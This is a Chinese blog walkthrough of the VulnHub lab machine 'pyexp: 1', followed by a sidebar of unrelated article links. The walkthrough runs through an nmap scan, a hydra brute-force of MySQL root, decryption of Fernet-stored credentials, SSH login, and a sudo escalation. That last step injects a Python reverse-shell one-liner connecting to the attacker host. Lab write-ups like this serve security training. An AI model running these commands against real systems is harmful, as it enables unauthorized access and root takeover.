当前位置:网站首页>vulnhub pyexp: 1
vulnhub pyexp: 1
2022-08-03 18:26:00 【仙女象】
渗透思路:
nmap扫描端口 ---- hydra爆破mysql默认用户root的密码 ---- 在数据库中发现fernet密文和密钥 ---- python解密fernet密文 ---- 利用python脚本漏洞sudo提权
环境信息:
靶机:192.168.101.95
攻击机:192.168.101.34
具体步骤:
1、nmap扫描端口
sudo nmap -sV -sC -p- 192.168.101.95
只扫描到tcp 1337(ssh)和3306(mysql)
2、hydra爆破mysql默认用户root的密码
由于nmap扫描到的信息太少了,并且ssh登录的用户名犹如大海捞针,而mysql(MariaDB)有默认用户root,所以先试试用hydra爆破mysql用户root的密码。使用字典/usr/share/wordlists/rockyou.txt.gz解压后的rockyou.txt。
hydra -l root -P "rockyou.txt" mysql://192.168.101.95
稍等一会儿,爆破出root的密码prettywoman
3、在数据库中发现fernet密文和密钥
以用户名root,密码prettywoman进入数据库
mysql -h 192.168.101.95 -u root -p
查看所有数据库,发现数据库data
MariaDB [(none)]> show databases;
进入data数据库,查看所有表,发现表fernet
MariaDB [(none)]> use data;
MariaDB [data]> show tables;
查看fernet表中的数据,发现有一条数据
MariaDB [data]> select * from fernet;
cred列的值为gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
keyy列的值为UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=
4、python解密fernet密文
fernet是一种对称加密算法,python中fernet的用法可以在这个网页找到:
Fernet (symmetric encryption) — Cryptography 38.0.0.dev1 documentation
根据上述网页的示例,在python3 shell中(命令行执行python3
即可进入)依次执行如下命令,即可得到执行结果b'lucy:wJ9`"Lemdv9[FEw-'
>>> from cryptography.fernet import Fernet
>>> key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
>>> f = Fernet(key)
>>> token = b'gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys='
>>> f.decrypt(token)
b'lucy:wJ9`"Lemdv9[FEw-'
5、利用python脚本漏洞sudo提权
尝试以用户名lucy,密码wJ9`"Lemdv9[FEw-进行ssh登录,ssh端口为1337
ssh [email protected] -p 1337
登录成功后查看lucy是否可以sudo执行命令
sudo -l
发现lucy可以以root的身份sudo执行python2 /opt/exp.py
(root) NOPASSWD: /usr/bin/python2 /opt/exp.py
查看/opt/exp.py的内容,发现它把用户输入当作python语句执行,利用这点可以提权
在攻击机上nc监听8888端口
nc -nlvp 8888
靶机上执行
sudo python2 /opt/exp.py
在提示how are you?之后输入
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.34",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
由于raw_input()函数默认将输入作为字符串,所以上述命令两侧不要加引号
攻击机上得到靶机root用户的shell
边栏推荐
猜你喜欢
es6新增-Generator(异步编程的解决方案2)
荧光标记多肽FITC/AMC/FAM/Rhodamine/TAMRA/Cy3/Cy5/Cy7-Peptide
Install porterLB
【Azure 事件中心】使用Azure AD认证方式创建Event Hub Consume Client + 自定义Event Position
Intelligent security contract - delegatecall (2)
安装porterLB
【汇编语言03】第2章 寄存器——实验1:查看CPU和内存,用机器指令和汇编指令编程
我们为何看好投资 DAO?
云渲染的优势与劣势
实现博客营销有哪些技巧
随机推荐
使用range-based for循环的注意事项
【HCIP】MPLS实验
【牛客在线OJ】-字符逆序
动态接口比例性能测试实践
我们为何看好投资 DAO?
WPF implements column chart
Big guy, who is free to help me to see what the problem is, I just read MySQL source print, and I just came into contact with flink.
InnoDB 中不同SQL语句设置的锁
2022/08/02------Ugly number
ImportError: /lib/libgdal.so.26: undefined symbol: sqlite3_column_table_name
程序员如何分分钟搞垮一个项目?
fatal error: jni.h: No such file or directory
走进通信:为什么4G信号满格,却上不了网呢
EasyNTS上云网关断电重启后设备离线是什么原因?
online 方式创建索引触发trigger怎么办?
Selenium of reptiles
MD5是对称加密还是非对称加密,有什么优缺点
Jenkins CI平台(二)
基于ck+redash构建MySQL慢日志+审计日志展示平台
gcc的学习及 版本太低如何在conda环境下重新进行安装